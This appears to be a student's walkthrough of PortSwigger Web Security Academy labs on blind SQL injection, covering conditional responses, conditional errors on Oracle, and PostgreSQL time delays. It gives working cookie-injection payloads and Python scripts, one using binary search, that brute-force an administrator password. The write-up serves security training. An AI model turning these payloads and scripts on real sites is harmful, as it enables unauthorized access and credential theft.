[ToC]
# What is blind SQL injection?
:::info
:bulb: Blind SQL injection arises when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.

When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible. .
:::

## Triggering conditional responses
:::info
:bulb: In this technique, an attacker performs various SQL queries that claim the database TRUE or FALSE responses. Then the attacker observes differences between TRUE and FALSE statements.
:::

### PRACTITIONER Lab: Blind SQL injection with conditional responses

According to the flow of the application provided in the description, the application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.


**1. Confirming that the parameter is vulnerable to blind SLQi**

With Burp we can clearly see the flow. At the first request, server response with header `Set-Cookie`


Then, the next requests when sent will have header `Cookie` and the response will include a "Welcome back!" message in the page if there is a cookie


Let's check something

If I send a request without `Cookie TrackingId`, there will be no "Welcome back!" message


So we can guess the code query in server may look like this:

SELECT ... FROM ... WHERE TrackingId = '{cookie TrackingId}'

If `TrackingId` exist in database, the query will return result then server response will include the "Welcome back!" message. Else server will not include the message in the response.

Let's comfirm that

Here I add `' AND '1'='2` to `TrackingId` cookie


Cause the site has a SQL injection vulnerability here. After adding the injected query to the cookie string, it was added directly to the server's original query, and executed the query as we wanted. Here I added a true condition so the result of the whole query is true => response included "Welcome back!" message

And if we added a false condition, there will be no messages


**2. Enumerating**

First I used this query to check if database has table **users**


Then use this query to check column name in the table



I try some random admin username like `administrator` and server comfirm with us that this username exist in the database


Guessing the password can be a bit difficult, so I try to write a python script to help me guess it

Here is a small script to check if the query is TRUE or FALSE


Next we need to find length of `password`, here I try to write a query to check the length of `username`


Then I fixed a little bit to check the length of password

import requests
import urllib
url = "https://0a3400aa03d363cd809b535200bb003f.web-security-academy.net/"
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
oricookies = "BaGAVSyOwGEQPAwx"
payload = "' and (select length(password) from users where username = 'administrator') < '"
for i in range (0,50,10):
    cookies = {"TrackingId":(oricookies+payload+str(i))}
    resp = requests.get(url, cookies=cookies)
    if "Welcome back!" in resp.text:
        print(payload + str(i) + " IS TRUE")
        for j in range (i - 10,i):
            payload = "' and (select length(password) from users where username = 'administrator') = '"
            cookies = {"TrackingId":(oricookies+payload+str(j))}
            resp = requests.get(url, cookies=cookies)
            if "Welcome back!" in resp.text:
                print(payload + str(j) + " IS TRUE")
                break
            else:
                print(payload + str(j) + " IS FALSE")
        break
    else:
        print(payload + str(i) + " IS FALSE")

Result:


=> `password` is a string of 20 charaters

Next we need to brute force to check each charater

Same as before, I will write a query to check username administrator


After making sure the query works, I change it to brute force password

Here is the script:

import requests
import urllib
url = "https://0af0006003b4e71c8054b29800f700fe.web-security-academy.net/"
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
oricookies = "0ou1SzrMMircl28s"
password = ''
for i in range (1,21):
    for a in alphabet:
        payload = f"' and (select substring((password),{i},1) from users where username = 'administrator') = '{a}"
        cookies = {"TrackingId":(oricookies+payload)}
        resp = requests.get(url, cookies=cookies)
        if "Welcome back!" in resp.text:
            print(str(cookies) + " IS TRUE")
            password += a
            break
        else:
            print(str(cookies))

print (password)

Result:


**3. Logging in admin account**

Now with username and password we can login to administrator account


**2.1 Brute force with Burp Suite**

First, use `Repeater` to write and check query


Hightlight/black out/select what we have write and press `Ctrl + U` to URL encode it


Next, right click and send it to `Intruder`


In `Positions` tab, set `Attack type: Cluster bomb`, choose what part we want to change in the query payload then click `Add`. Then go to `Payloads` tab to set option for each payload

First payload:


Second payload:


When done, click `Start Attack`


Base on length of response we can guess the password.

> But I will keep using python script to exploit, cause it faster and I won't have to rearrange characters to have a correct password :))

:::success
**Solved** :thumbsup:
:::

## Triggering conditional errors

### PRACTITIONER Lab: Blind SQL injection with conditional errors

#### 1. Comfirm the SQL injection vulnerable
The **CASE** expression goes through conditions and returns a value when the first condition is met. So, once a condition is true, it will stop reading and return the result. If no conditions are true, it returns the value in the **ELSE** clause.

If there is no **ELSE** part and no conditions are true, it returns NULL

CASE Syntax:

CASE
    WHEN condition1 THEN result1
    WHEN condition2 THEN result2
    WHEN conditionN THEN resultN
    ELSE result
END;

We can CASE expression to triggering conditional error like this:

CASE WHEN (1=2) THEN 1 ELSE 1/0) = '1

This query will trigger the error cause 1 cannot be divided by 0


But if we change the condition

CASE WHEN (1=1) THEN 1 ELSE 1/0) = '1


With this we can now enumerate the database. If condition we want to check is True, server will reponse 200, and if it False, server will response 500.

#### 2. Figure out the database type and version

First I try some specify syntaxto findout the database type



=> May be MySQL ??


=> Not MySQL


=> Not Microsoft


=> Oracle or PostgreSQL ??



=> May be Oracle, how about PostgreSQL??


:::success
YUP!! Database type is **Oracle**
:::

#### 3. Guessing the table name

Blind SQL is really annyoing because when writing payload it's hard to know where it goes wrong.

But after trying for more than an hour, I can shorten the steps to write the payload as follow:

- Check if commenting the following part of the original query can cause an error
Server response with **`200 OK`** means there is no error
- Check if we can use **`AND`** operator
As we can see, no matter what the condition is true or false, server will response with **` 200 OK`** as long as the query does not cause an error
- Write a **`SELECT`** statement to query table_name in database and check if the statement we just wrote causes an error
**`200 OK`** means the statement works normally, no error. The statement might causes some error like spelling mistake, no `all_tables` or `table_name` in database if we guess wrong database type. Luckily, we guessed correctly the database is Oracle
- Combine with the CASE statement to determine whether the SELECT statement is True or False
We need to invert the result of the comparison to make sure the query works and doesn't cause syntax error
- Tada!! Now we can use this query to guessing the database.

Base on what we get from the response, there is no table name **`users`**. At this step, we can try brute force it with a wordlist of common table names. But I just remember an exercise that I did before, [listing the database contents on Oracle](https://hackmd.io/TZu-bBKaTvGwHeXokxYtVw#SQL-injection-attack-listing-the-database-contents-on-Oracle). In that exercise the table name in Oracle might usually uppercase. So I check that and bingo. I found table name **`USERS`**


Here is the query if you want brute force another name of another table:

AND (CASE WHEN ((SELECT 1 FROM all_tables WHERE table_name = 'USERS') = 1) THEN 1 ELSE 1/0 END) = 1 --

#### 4. Guessing the column name

Based on my experience, I try to check the existence of 2 columns **`USERNAME`** and **`PASSWORD`**



Of course, we not always in luck like this. So if we can't guess once, guess many times =)))

AND (CASE WHEN ((SELECT 1 FROM all_tab_columns WHERE table_name = 'USERS'AND column_name = 'PASSWORD') = 1) THEN 1 ELSE 1/0 END) = 1 --

#### 5. Guessing username and password
##### Query to guess username:

AND (CASE WHEN ((SELECT 1 FROM USERS WHERE USERNAME = 'administrator') = 1) THEN 1 ELSE 1/0 END) = 1 --


When guessing password, the first thing we need to know is length of password

Here I write a querry to guess the username length =)) Of course I know the length of username `administrator` is `13`, I just want to check if the query can work


##### Query to guess length of password:

AND (CASE WHEN ((SELECT LENGTH(PASSWORD) FROM USERS WHERE USERNAME = 'administrator') = 20) THEN 1 ELSE 1/0 END) = 1 --


=> Password's length is 20

#### Guessing second charater in username
One again, the purpose is to make sure the query works properly


#### Guessing the password

##### Query to guess each character in password:

AND (CASE WHEN ((SELECT SUBSTR(PASSWORD,2,1) FROM USERS WHERE USERNAME = 'administrator') = 'a') THEN 1 ELSE 1/0 END) = 1 --

##### A python script to help me guess it automatically:

import requests
url = "https://0ab7001e048b9802806d1c5900a000e6.web-security-academy.net"
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
oricookies = "KcwDXsQiA6ujpnQ9"
password = ''
for i in range (1,21):
    for a in alphabet:
        payload = f"' AND (CASE WHEN ((SELECT SUBSTR(PASSWORD,{i},1) FROM USERS WHERE USERNAME = 'administrator') = '{a}') THEN 1 ELSE 1/0 END) = 1 --"
        cookies = {"TrackingId":(oricookies+payload)}
        resp = requests.get(url, cookies=cookies)
        if  resp.status_code == 200:
            print(str(cookies) + " IS TRUE")
            password += a
            break
        else:
            print(str(cookies))
print(password)

Result:


#### 6. Login to admin account


:::success
**Solved** :thumbsup:
:::

## Exploiting blind SQL injection by triggering time delays

When the injected SQL query is executed no longer causes any difference in the application's reponse, it is often possible to exploit the blind SQL injection vulnerability by triggering time delays conditionally, depending on an injected condition. Because SQL queries are generally processed synchronously by the application. It means when an application sends an SQL query to a database, it waits for the database to process the query and return the results before proceeding with further execution.
:::info
:bulb: Delaying the execution of a SQL query will also delay the HTTP response. This allow us to infer the truth of the injected condition based on the time taken before the HTTP response is received.
:::

### PRACTITIONER Lab: Blind SQL injection with time delays

Cause there is no difference in the response, we will try some time delays payload.


Base on how the server responds to the payload, we can determine the server's database type and the location of the sql injection vulnerability.


=>`TrackingId` is vulnerable to SQL injection and database type is PostgreSQL

:::success
**Solved** :thumbsup:
:::

:::warning
### Exercise: Blind SQL injection with time delays and information retrieval
:::

#### 1. Comfirm the SQL injection vulnerable :heavy_check_mark:


=> `TrackingId` is vulnerable to SQL injection and database type is PostgreSQL

#### 2. Figure out the database type and version :heavy_check_mark:

#### 3. Guessing table name
We can test a single boolean condition and trigger a time delay if the condition is true by using this payload.


Now we will change the condition to random query some common table name in PostgreSQL database


=> There is an interesting table named `users`

#### 4. Guessing column name



=> There are 2 interesting columns, `username` and `password`

#### 5. Guessing admin credential

#### Guessing username:


#### Guessing password:


=> Password length is 20

Script to bruteforce password:

import urllib
import requests
url = "https://0a58004903b53f0083569cad00fc0068.web-security-academy.net/"
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
password = ''
for i in range (1,21):
    print('Position: ' + str(i))
    for a in alphabet:
        payload = f"';SELECT CASE WHEN ((SELECT SUBSTR(password,{i},1) FROM users WHERE username = 'administrator') = '{a}') THEN pg_sleep(5) ELSE pg_sleep(0) END --"
        payload = urllib.parse.quote(payload)
        cookies = {"TrackingId":payload}
        resp = requests.get(url, cookies=cookies)
        if(resp.elapsed.total_seconds()>5):
            password += a
            print(password)
            break
print('Password: ' + password)

Result:


#### 6. Login to admin account


:::success
**Solved** :thumbsup:
:::

## Optimize script

I find that sending a request to check each character is quite time consuming. I think I can reduce the number of requests sent by determining where the character is in the string `alphabet` before determining exactly what character it is. We can use a simple search algorithm called Binary Search.

This is the idea:


:::spoiler
In this algorithm:
- Divide the search space into two halves by finding the middle index “mid”.
- Compare the middle element of the search space with the key.
- If the key is found at middle element, the process is terminated.
- If the key is not found at middle element, choose which half will be used as the next search space.
- - If the key is smaller than the middle element, then the left side is used for next search.
- - If the key is larger than the middle element, then the right side is used for next search.
- This process is continued until the key is found or the total search space is exhausted.
:::

One important condition to apply Binary Search algorithm: **The data structure (`alphabet` string) must be sorted**

And here is the optimized script:

import requests
url = "https://0aea0018032654b480f8d10200bf007c.web-security-academy.net/"
alphabet = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
oricookies = "2BPO6Gf5XNXuW2vY"
password = ''

for i in range (1,21):
    f = 0
    l = len(alphabet)-1
    while((l-f)!=1):
        mid = (l-f)//2 + f
        a = alphabet[mid]
        payload = f"' and (select substring((password),{i},1) from users where username = 'administrator') > '{a}"
        cookies = {"TrackingId":(oricookies+payload)}
        resp = requests.get(url, cookies=cookies)
        if "Welcome back!" in resp.text:
            print(str(cookies) + " IS TRUE")
            f = mid
        else:
            print(str(cookies) + " IS FALSE")
            l = mid
    a = alphabet[f]
    payload = f"' and (select substring((password),{i},1) from users where username = 'administrator') = '{a}"
    cookies = {"TrackingId":(oricookies+payload)}
    resp = requests.get(url, cookies=cookies)
    if "Welcome back!" in resp.text:
        print(str(cookies) + " IS TRUE")
        password += a
        print (password)
    else:
        password += alphabet[l]
        print (password)
    

Result: